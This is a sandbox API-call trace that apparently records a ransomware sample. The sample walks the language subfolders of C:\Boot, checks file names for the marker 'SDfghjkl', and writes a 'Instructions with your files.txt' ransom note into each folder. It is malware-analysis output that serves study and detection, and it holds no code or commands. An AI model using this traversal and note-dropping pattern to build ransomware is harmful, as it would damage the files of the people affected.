[0111.882] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\Instructions with your files.txt" (normalized: "c:\\boot\\it-it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.883] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.883] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.884] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.884] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.884] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.884] CloseHandle (hObject=0x108) returned 1
[0111.884] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.884] GetProcessHeap () returned 0x810000
[0111.884] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.884] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
[0111.884] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP") returned 17
[0111.884] GetProcessHeap () returned 0x810000
[0111.884] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.884] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\*") returned 19
[0111.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.884] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\.") returned 19
[0111.884] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.885] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\..") returned 20
[0111.885] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.885] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 33
[0111.885] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.885] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cee43a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.885] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\Instructions with your files.txt") returned 50
[0111.885] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.885] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cee43a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.885] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\Instructions with your files.txt") returned 50
[0111.885] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\Instructions with your files.txt" (normalized: "c:\\boot\\ja-jp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.887] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.888] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.888] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.888] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.888] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.889] CloseHandle (hObject=0x108) returned 1
[0111.889] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.889] GetProcessHeap () returned 0x810000
[0111.889] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.889] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf0a500, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf0a500, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
[0111.889] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR") returned 17
[0111.889] GetProcessHeap () returned 0x810000
[0111.889] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.889] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\*") returned 19
[0111.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf0a500, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf0a500, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.901] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\.") returned 19
[0111.901] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf0a500, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf0a500, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.901] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\..") returned 20
[0111.901] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.901] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 33
[0111.901] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.901] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf0a500, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf0a500, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf0a500, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.901] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\Instructions with your files.txt") returned 50
[0111.901] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.901] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf0a500, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf0a500, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf0a500, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.901] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\Instructions with your files.txt") returned 50
[0111.901] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\Instructions with your files.txt" (normalized: "c:\\boot\\ko-kr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.901] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.902] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.902] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.902] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.903] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.903] CloseHandle (hObject=0x108) returned 1
[0111.903] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.903] GetProcessHeap () returned 0x810000
[0111.903] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.903] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
[0111.903] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\memtest.exe") returned 23
[0111.903] StrStrIW (lpFirst="memtest.exe", lpSrch="SDfghjkl") returned 0x0
[0111.903] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
[0111.903] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO") returned 17
[0111.903] GetProcessHeap () returned 0x810000
[0111.903] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.903] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\*") returned 19
[0111.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.903] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\.") returned 19
[0111.903] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.903] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\..") returned 20
[0111.903] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.903] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 33
[0111.904] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.904] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf567c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.904] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\Instructions with your files.txt") returned 50
[0111.904] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.904] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf567c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.904] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\Instructions with your files.txt") returned 50
[0111.904] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\Instructions with your files.txt" (normalized: "c:\\boot\\nb-no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.904] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.906] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.906] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.906] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.906] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.906] CloseHandle (hObject=0x108) returned 1
[0111.906] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.906] GetProcessHeap () returned 0x810000
[0111.906] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.906] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
[0111.906] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL") returned 17
[0111.906] GetProcessHeap () returned 0x810000
[0111.907] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.907] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\*") returned 19
[0111.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.910] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\.") returned 19
[0111.910] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.910] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\..") returned 20
[0111.910] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.910] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 33
[0111.910] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
